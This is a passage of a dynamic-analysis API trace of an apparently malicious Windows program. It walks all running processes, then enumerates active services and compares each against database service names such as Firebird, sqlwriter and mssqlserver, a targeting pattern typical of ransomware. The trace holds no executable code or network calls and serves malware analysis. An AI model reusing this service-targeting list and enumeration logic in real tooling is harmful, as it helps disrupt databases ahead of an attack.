-1 [0255.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0255.916] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0255.916] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0255.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0255.916] lstrlenW (lpString="Themes") returned 6 [0255.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0255.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0255.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0255.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0255.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0255.916] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0255.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0255.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0255.916] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0255.916] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0255.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4609450 | out: hHeap=0x640000) returned 1 [0255.916] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x414 [0255.920] Process32FirstW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.921] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0255.971] lstrlenW (lpString="System") returned 6 [0255.971] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0255.972] lstrlenW (lpString="smss.exe") returned 8 [0255.972] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.972] lstrlenW (lpString="csrss.exe") returned 9 [0255.972] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0255.973] lstrlenW (lpString="wininit.exe") returned 11 [0255.973] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.974] lstrlenW (lpString="csrss.exe") returned 9 [0255.974] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0255.974] lstrlenW (lpString="winlogon.exe") returned 12 [0255.975] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0255.975] lstrlenW (lpString="services.exe") returned 12 [0255.975] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0255.976] lstrlenW (lpString="lsass.exe") returned 9 [0255.976] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0255.977] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0255.977] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0255.977] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0255.977] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.978] lstrlenW (lpString="svchost.exe") returned 11 [0255.978] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.979] lstrlenW (lpString="svchost.exe") returned 11 [0255.979] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0255.979] lstrlenW (lpString="dwm.exe") returned 7 [0255.979] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.980] lstrlenW (lpString="svchost.exe") returned 11 [0255.980] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.981] lstrlenW (lpString="svchost.exe") returned 11 [0255.981] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.981] lstrlenW (lpString="svchost.exe") returned 11 [0255.981] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.982] lstrlenW (lpString="svchost.exe") returned 11 [0255.982] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.983] lstrlenW (lpString="svchost.exe") returned 11 [0255.983] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.983] lstrlenW (lpString="svchost.exe") returned 11 [0255.983] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.996] lstrlenW (lpString="svchost.exe") returned 11 [0255.996] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.997] lstrlenW (lpString="svchost.exe") returned 11 [0255.997] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.997] lstrlenW (lpString="svchost.exe") returned 11 [0255.997] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.998] lstrlenW (lpString="svchost.exe") returned 11 [0255.998] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0255.999] lstrlenW (lpString="spoolsv.exe") returned 11 [0255.999] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.999] lstrlenW (lpString="svchost.exe") returned 11 [0255.999] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0256.000] lstrlenW (lpString="audiodg.exe") returned 11 [0256.000] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0256.001] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0256.001] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0256.002] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0256.002] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0256.003] lstrlenW (lpString="Memory Compression") returned 18 [0256.003] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.004] lstrlenW (lpString="svchost.exe") returned 11 [0256.004] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0256.004] lstrlenW (lpString="sihost.exe") returned 10 [0256.005] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0256.005] lstrlenW (lpString="MDMAgent.exe") returned 12 [0256.005] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0256.006] lstrlenW (lpString="taskhostw.exe") returned 13 [0256.006] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0256.007] lstrlenW (lpString="msoia.exe") returned 9 [0256.007] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0256.007] lstrlenW (lpString="explorer.exe") returned 12 [0256.007] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0256.008] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0256.008] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0256.009] lstrlenW (lpString="SearchUI.exe") returned 12 [0256.009] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0256.009] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0256.009] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0256.010] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0256.010] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0256.011] lstrlenW (lpString="mobsync.exe") returned 11 [0256.011] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0256.011] lstrlenW (lpString="chrome64b.exe") returned 13 [0256.011] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0256.012] lstrlenW (lpString="cmd.exe") returned 7 [0256.012] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0256.013] lstrlenW (lpString="conhost.exe") returned 11 [0256.013] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.013] lstrlenW (lpString="svchost.exe") returned 11 [0256.013] Process32NextW (in: hSnapshot=0x414, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0256.014] CloseHandle (hObject=0x414) returned 1 [0256.014] Sleep (dwMilliseconds=0x1f4) [0256.516] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x699e38 [0256.516] EnumServicesStatusExW (in: hSCManager=0x699e38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0256.517] GetLastError () returned 0xea [0256.517] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c5a) returned 0x4535f60 [0256.517] EnumServicesStatusExW (in: hSCManager=0x699e38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4535f60, cbBufSize=0x1c5a, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4535f60, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0256.518] CloseServiceHandle (hSCObject=0x699e38) returned 1 [0256.518] lstrlenW (lpString="AppXSvc") returned 7 [0256.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0256.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0256.518] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0256.518] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0256.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0256.518] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0256.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0256.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0256.518] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0256.518] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0256.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0256.518] lstrlenW (lpString="Audiosrv") returned 8 [0256.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0256.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0256.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0256.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0256.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0256.519] lstrlenW (lpString="BFE") returned 3 [0256.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0256.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0256.519] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0256.519] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0256.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0256.519] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0256.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0256.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0256.519] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0256.519] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0256.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0256.519] lstrlenW (lpString="CDPSvc") returned 6 [0256.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0256.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0256.519] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0256.519] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0256.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0256.519] lstrlenW (lpString="ClickToRunSvc") returned 13 [0256.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0256.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0256.519] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0256.519] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0256.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0256.519] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0256.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0256.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0256.519] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0256.519] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0256.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0256.520] lstrlenW (lpString="CryptSvc") returned 8 [0256.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0256.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0256.520] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0256.520] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0256.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0256.520] lstrlenW (lpString="DcomLaunch") returned 10 [0256.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0256.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0256.520] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0256.520] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0256.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0256.520] lstrlenW (lpString="DeviceAssociationService") returned 24 [0256.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0256.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0256.520] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0256.520] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0256.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0256.520] lstrlenW (lpString="Dhcp") returned 4 [0256.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0256.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0256.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0256.520] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0256.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0256.520] lstrlenW (lpString="DmEnrollmentSvc") returned 15 [0256.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0256.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0256.520] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1 [0256.520] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1 [0256.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1 [0256.521] lstrlenW (lpString="Dnscache") returned 8 [0256.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0256.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0256.521] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0256.521] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0256.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0256.521] lstrlenW (lpString="DPS") returned 3 [0256.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 